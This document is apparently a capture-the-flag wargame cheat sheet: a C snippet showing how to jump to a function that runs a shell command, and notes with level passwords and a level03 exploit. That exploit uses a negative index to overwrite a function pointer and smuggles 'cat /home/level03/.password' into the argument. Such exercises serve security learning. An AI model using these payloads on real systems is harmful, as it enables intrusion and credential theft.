Cheat sheet

example.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

void run() {
	system("whoami");
}

int main(int argc, char const *argv[])
{
	
	printf("Address: %p\n", run);
	
	// this will call run();
  // compile and use gdb to get the address of run
  // gdb ./a.out
  // (gdb) print run
  // put that address in place of "<address>" recompile and run
	/*
  int (*func)(void) = (int (*)(void))<address>;
	func();
  */
	return 0;
}

notes.txt

level00 
pass: izeecahd

level01 
pass: aepeefoo

level02
pass: quemaosh

level03

run address:
0x804879b

run 0 abcd

x/64xb buf

print fns
print &buf

print (fns - buf) / 4
27

run -27 "`echo -e "\x9b\x87\x04\x08"`"

run -27 "`echo -e "cat /home/level03/.password;#\x9b\x87\x04\x08"`"

run -20 "`echo -e "cat /home/level03/.password;\x9b\x87\x04\x08"`"

pass: eingaima